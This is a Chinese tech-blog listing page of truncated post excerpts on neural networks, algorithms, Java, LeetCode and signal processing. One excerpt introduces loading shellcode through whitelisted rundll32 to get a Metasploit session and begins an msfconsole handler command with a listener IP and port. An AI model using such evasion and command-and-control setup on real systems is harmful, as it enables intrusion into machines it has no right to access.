学习网络 算法fasterrcnn深度

本文是文章 [A Gentle Introduction to Graph Neural Networks](https://distill.pub/2021/gnn-intro/) 的个人笔记，强烈建议大家去体验原文的交互式阅读，以及李沐老师的[讲解](https://www.bilibili.c ......

# 斜率优化dp ## 引入 首先，我们考虑一种更简单的dp优化——单调队列优化。 比如，一个dp式形如： $$dp_{i} = \min_{k \leq j \leq i} (dp_j+f_j+g_i)$$ 我们发现，这个式子可以通过拆分（wgj：分离变量），变形成如下式子： $$dp_{i} = ......

[toc] 深度学习神经网络大模型在文本分类中的应用 随着人工智能技术的不断发展，深度学习神经网络在自然语言处理领域中的应用越来越广泛。文本分类是深度学习神经网络的一个重要应用之一，其目的是将文本分类到不同的类别中，以便进行相应的处理和分析。本文将介绍深度学习神经网络大模型在文本分类中的应用，包括技 ......

[toc] 人工智能创业投资项目案例：基于深度学习的机器人技术 随着人工智能技术的快速发展，机器人技术也逐渐成为了一个热门的领域。机器人技术在工业、农业、医疗、教育、娱乐等领域都有广泛的应用。近年来，随着深度学习技术的不断发展，机器人技术也逐渐实现了智能化和自动化。其中，基于深度学习的机器人技术成为 ......

[toc] 神经网络是人工智能领域中的一个重要概念，它是指一种模拟人脑神经元的计算方法。神经网络通过从大量数据中学习，来预测未来的状态或执行特定的任务。 本文将介绍神经网络的基础知识与实现，包括神经网络的基本概念、技术原理、实现步骤以及示例与应用。同时，本文还将探讨神经网络的性能优化、可扩展性改进以 ......

[toc] 随着深度学习技术的不断发展，特别是在计算机视觉领域，基于神经网络的大模型在图像识别中的应用越来越广泛。这些模型能够在处理大量图像数据的同时，准确地识别出各种物体和场景，取得了令人瞩目的成果。本文将介绍基于神经网络的大模型在图像识别中的应用，包括技术原理、实现步骤、示例和应用等方面的内容， ......

[toc] 文本分类和情感分析是人工智能领域中非常重要的技术，其应用广泛，包括自然语言处理、语音识别、计算机视觉等多个领域。本文将介绍基于深度学习的大型语言模型应用文本分类和情感分析的技术原理及实现步骤，并探讨相关应用场景和优化改进的方法。 ## 1. 引言 随着人工智能的不断发展，文本分类和情感分 ......

[toc] # 20. 让 AI 支持游戏AI模型：从经典 AI 算法到最新技术的应用 ## 1. 引言 随着人工智能技术的不断发展，越来越多的游戏开发者开始将人工智能技术应用到游戏AI模型中。本文将介绍游戏AI模型中使用的人工智能技术，包括经典 AI 算法和最新技术的应用。 ## 2. 技术原理及 ......

[toc] 神经网络在计算机视觉领域中的应用 随着人工智能技术的快速发展，神经网络逐渐成为计算机视觉领域的重要工具。神经网络是一种深度学习模型，通过学习大量数据来进行预测和分类。在计算机视觉领域，神经网络可以用于图像分类、目标检测、图像生成等任务。本文将介绍神经网络在计算机视觉领域中的应用。 一、引 ......

[toc] 神经网络在金融与交易领域的应用 摘要 神经网络作为人工智能领域的核心技术之一，已经在金融与交易领域得到了广泛应用。本文将介绍神经网络在金融与交易领域的技术原理及概念，并介绍神经网络实现步骤与流程。同时，我们还将分析神经网络的应用案例，并对神经网络的性能、可扩展性以及安全性等方面进行优化和 ......

[toc] 文章：ResNet模型：在计算机视觉任务中实现深度学习 ## 1. 引言 深度学习是一种革命性的机器学习技术，自推出以来，已经被广泛应用于计算机视觉、自然语言处理、语音识别等领域。在计算机视觉领域，深度学习中的 ResNet 模型成为了一个经典的例子，被广泛用于图像分类、目标检测、图像分 ......

[toc] 一、引言 随着人工智能技术的不断发展，深度学习成为了人工智能领域的热门话题。在智能交通领域，深度学习已经被广泛应用于图像识别、目标检测、自动驾驶等方面，为交通管理提供了更先进、更准确、更安全的解决方案。本文将介绍基于深度学习的人工智能在智能交通中的应用技术，以及实现和应用实例。 二、技术 ......

[toc] 1. 引言 随着人工智能的不断发展和应用，智能客服领域成为了深度学习技术的重要应用领域之一。智能客服能够自动化处理客户的问题，提高客户满意度，减少人力成本，同时也能够在客户遇到困难时快速响应，提供及时的帮助和支持。因此，将深度学习技术应用于智能客服领域具有重要的意义和价值。本文将介绍深度 ......

[toc] 深度学习技术在自然语言处理领域的应用：未来人工智能将会如何？ 随着人工智能技术的不断发展，自然语言处理(NLP)领域成为了深度学习技术的重要应用领域之一。深度学习技术通过模拟人脑神经网络的结构和功能，来学习和预测自然语言，取得了令人瞩目的成果。在NLP领域，深度学习技术的应用已经涉及到了 ......

[toc] Transformer 算法的应用 近年来，随着深度学习和自然语言处理领域的迅速发展，Transformer 算法成为了深度学习中最重要的算法之一。Transformer 算法是一种基于自注意力机制的深度神经网络模型，它在处理序列数据时具有极强的并行计算能力和出色的表现力。本文将详细介绍 ......

[toc] 利用人类反馈学习进行智能安全控制和智能控制系统 随着人工智能技术的不断发展，智能安全控制和智能控制系统越来越受到人们的关注。这些系统可以通过学习人类行为和反馈，实现对智能体的自适应控制，提高智能体的安全性和鲁棒性。本文将介绍如何利用人类反馈学习进行智能安全控制和智能控制系统的设计、实现和 ......

[toc] 引言 随着人工智能技术的不断发展，机器人、智能环保和治理等领域也受到了越来越多的关注。在这些领域中，多模态数据融合与推理学习技术已经成为了关键的核心，它可以使得机器人更加智能、环保和治理更加高效。本文章将介绍基于多模态数据融合与推理学习与机器人与智能环保与治理的技术原理、实现步骤、应用示 ......

siliconsmart是一款能够IP参数特征化提取工具。因为是比较专业的软件工具，所以网络上的学习内容和资料其实非常少，现在结合使用和阅读，整理一下学习内容。 1、ss的结构 ①输入文件 ss的输入文件一般是spice网表、延时和功耗数据、行为描述 总之输入的是电路的信息和数据 这里的具体内容还需 ......

一、 定义 排序规则是根据特定语言和区域设置标准指定对字符串数据进行排序和比较的规则。 以 ORDER BY 子句为例：如果按升序排列，说英语的人认为字符串 Chiapas 应排在 Colima 之前。但是，对于在墨西哥说西班牙语的人来说，他们会认为以 Ch 开头的单词应显示在以 C 开头的单词列表 ......

## 概述 全局的Window对象有一个document属性，它引用一个Document对象，通过该对象操作DOM。 ## 选择DOM元素 HTML文档中的\与\标签可以通过Document对象的head与body属性访问，但是更深层级的元素需要通过查询来获取。 有两组方法来选择元素，一组是通过CS ......

从创建线程的三种方式说起 方式一：继承Thread类实现多线程： 在Java中负责实现线程功能的类是java.lang.Thread 类。 可以通过创建 Thread的实例来创建新的线程。 每个线程都是通过某个特定的Thread对象所对应的方法run( )来完成其操作的，方法run( )称为线程体。 ......

从创建线程的三种方式说起 方式一：继承Thread类实现多线程： 在Java中负责实现线程功能的类是java.lang.Thread 类。 可以通过创建 Thread的实例来创建新的线程。 每个线程都是通过某个特定的Thread对象所对应的方法run( )来完成其操作的，方法run( )称为线程体。 ......

powershell start-process -verb runas cmd @echo off rem Show Computer icon on desktop reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVers ......

1.算法仿真效果 matlab2022a仿真结果如下： 2.算法涉及理论知识概要 信道均衡（Channel equalization）是指为了提高衰落信道中的通信系统的传输性能而采取的一种抗衰落措施。它主要是为了消除或者是减弱宽带通信时的多径时延带来的码间串扰（ISI）问题。其机理是对信道或整个传输 ......

1.算法仿真效果 matlab2022a仿真结果如下： 2.算法涉及理论知识概要 在语音识别（Speech Recognition）和话者识别（Speaker Recognition）方面，最常用到的语音特征就是梅尔倒谱系数（Mel-scale Frequency Cepstral Coeffici ......

# 白名单 rundll32 加载 shellcode 上线 metasploit 监听 metasploit ``` msfconsole -x "use exploits/multi/handler; set lhost 192.168.0.101; set lport 443; set pay ......

c++ linux 学习第二课 一、GCC的工作流程： gcc编译器将C源文件到生成一个可执行程序中间一共经历四个步骤： 二、gcc常用参数： -v 版本 -E 生成预处理文件 -S 生成汇编文件 -c 只编译，生成目标文件 .o文件 -I(大写的 i ) 指定头文件所在的路径 -L 指定库文件所在 ......

package LeetCode.stackpart03; /** * 84. 柱状图中最大的矩形 * */ public class LargestRectangleHistogram_84 { public int largestRectangleArea(int[] heights) { in ......

package LeetCode.stackpart01; import java.util.Deque; import java.util.LinkedList; /** * 739. 每日温度 * 给定一个整数数组 temperatures，表示每天的温度，返回一个数组answer，其中answ ......

package LeetCode.stackpart02; import java.util.Arrays; import java.util.Stack; public class NextGreaterElementII_503 { public int[] nextGreaterElement ......